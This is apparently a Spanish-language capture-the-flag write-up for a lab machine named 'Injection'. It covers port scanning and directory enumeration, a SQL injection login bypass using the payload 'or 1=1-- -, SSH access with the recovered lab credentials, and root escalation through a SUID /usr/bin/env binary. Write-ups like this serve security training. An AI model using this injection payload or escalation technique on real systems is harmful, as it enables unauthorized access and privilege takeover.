INJECTION

```
CONECTIVIDAD
    Ping:

    ┌──(root kali)-[/home/kali/Desktop]
└─# ping -c1 172.17.0.2

PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.488 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.488/0.488/0.488/0.000 ms

    IP de la máquina víctima: 172.17.0.2
    IP de la máquina atacante: 192.168.0.26
```

ESCANEO DE PUERTOS Nmap

┌──(root kali)-[/home/kali/Desktop] └─# nmap -p- -Pn -sVCS --min-rate 5000 172.17.0.2 osed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu))

https://we.tl/t-Cv8UN5qs5j PUERTO 80

ENUMERACIÓN DE SERVICIOS Y DIRECTORIOS

```
WhatWeb:
```

┌──(root kali)-[/home/kali/Desktop] └─# whatweb 172.17.0.2 http://172.17.0.2 [200 OK] Apache[2.4.52], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[172.17.0.2], PasswordField[password], Title[Iniciar Sesión]

Gobuster:

```
    ┌──(root kali)-[/home/kali/Desktop]
    └─# gobuster dir -u http://172.17.0.2 -w
/usr/share/dirb/wordlists/common.txt -x php,txt,html

    /config.php           (Status: 200) [Size: 0]
    /index.php            (Status: 200) [Size: 2921]
```

Probamos a registrarnos con username:'or 1=1-- - y password='or 1=1-- - Al incluir 'or 1=1-- - como nombre de usuario, se está intentando explotar una vulnerabilidad en la consulta SQL que verifica si el nombre de usuario ya existe en la base de datos. La parte 'or 1=1 se utiliza para hacer que la condición siempre sea verdadera, ya que 1=1 es una expresión lógica que siempre es verdadera. El doble guion (--) indica que el resto de la línea es un comentario en SQL, lo que significa que cualquier código SQL que venga después de eso será ignorado.

https://we.tl/t-K4gOAblepW REGISTRO

usuario:Dylan KJSDFG789FGSDF78

Intentamos establecer conexión ssh

┌──(root㉿kali)-[/home/kali/Desktop] └─# ssh dylan@172.17.0.2 @@@ @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ @@@ IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that a host key has just been changed. The fingerprint for the ED25519 key sent by the remote host is SHA256:5ic4ZXizeEb8agR4jNX59cBONCe5b5iEcU9lf2zt0Q0. Please contact your system administrator. Add correct host key in /root/.ssh/known_hosts to get rid of this message. Offending ECDSA key in /root/.ssh/known_hosts:16 remove with: ssh-keygen -f '/root/.ssh/known_hosts' -R '172.17.0.2' Host key for 172.17.0.2 has changed and you have requested strict checking. Host key verification failed.

Este mensaje, advierte sobre un posible problema de seguridad relacionado con la clave del host del servidor al que se intenta conectar a través de SSH Te proporciona un comando para eliminar la clave ofensiva del archivo "known_hosts

ssh-keygen -f '/root/.ssh/known_hosts' -R '172.17.0.2'

Probamos a ejecutar este comando

┌──(root㉿kali)-[/home/kali/Desktop] └─# ssh-keygen -f '/root/.ssh/known_hosts' -R '172.17.0.2' Host 172.17.0.2 found: line 14 Host 172.17.0.2 found: line 15 Host 172.17.0.2 found: line 16 /root/.ssh/known_hosts updated. Original contents retained as /root/.ssh/known_hosts.old

Volvemos a establecer la conesion ssh

┌──(root㉿kali)-[/home/kali/Desktop] └─# ssh dylan@172.17.0.2 The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established. ED25519 key fingerprint is SHA256:5ic4ZXizeEb8agR4jNX59cBONCe5b5iEcU9lf2zt0Q0. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? y Please type 'yes', 'no' or the fingerprint: yes Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts. dylan@172.17.0.2's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.6.15-amd64 x86_64)

- Documentation: https://help.ubuntu.com
- Management: https://landscape.canonical.com
- Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

dylan@6658e627e39f:~$

ESCALADA DE PRIVILEGIOS

```
Búsqueda de archivos bin con el SUID habilitado:
```

dylan@19a1275b73f1:~$ find / -perm -u=s -type f 2>/dev/null /usr/bin/chfn /usr/bin/gpasswd /usr/bin/mount /usr/bin/passwd /usr/bin/umount /usr/bin/chsh /usr/bin/su #/usr/bin/env /usr/bin/newgrp /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign

https://we.tl/t-lVSBb33Kx6 GTFOBins:

```
dylan@19a1275b73f1:~$ /usr/bin/env /bin/sh -p
# whoami
root
#
```

METODOLOGÍA

Para llevar a cabo la evaluación de seguridad de la máquina "Injection", se siguieron los siguientes pasos:

```
Conectividad: Se verificó la conectividad entre la máquina atacante y la víctima mediante un ping.

Escaneo de Puertos: Se utilizó Nmap para realizar un escaneo de todos los puertos abiertos en la máquina víctima.

Enumeración de Servicios y Directorios: Se emplearon herramientas como WhatWeb y Gobuster para identificar los servicios y directorios disponibles en el servidor web de la máquina víctima.

Escalada de Privilegios: Se realizó una búsqueda de archivos binarios con el bit SUID habilitado y se utilizó GTFOBins para obtener privilegios de root en la máquina víctima.
```

RECOMENDACIONES

```
Mantener actualizados todos los servicios y aplicaciones para evitar posibles vulnerabilidades.
Configurar correctamente los permisos de los archivos y directorios para evitar accesos no autorizados.
Implementar medidas de seguridad adicionales, como firewalls y sistemas de detección de intrusiones, para proteger la red y los sistemas.
```

CONCLUSIÓN

La evaluación de seguridad de la máquina "Injection" reveló la presencia de vulnerabilidades que podrían ser explotadas por un atacante para obtener acceso no autorizado al sistema. Se recomienda tomar medidas correctivas para mitigar estos riesgos y fortalecer la seguridad de la infraestructura.

[redacted]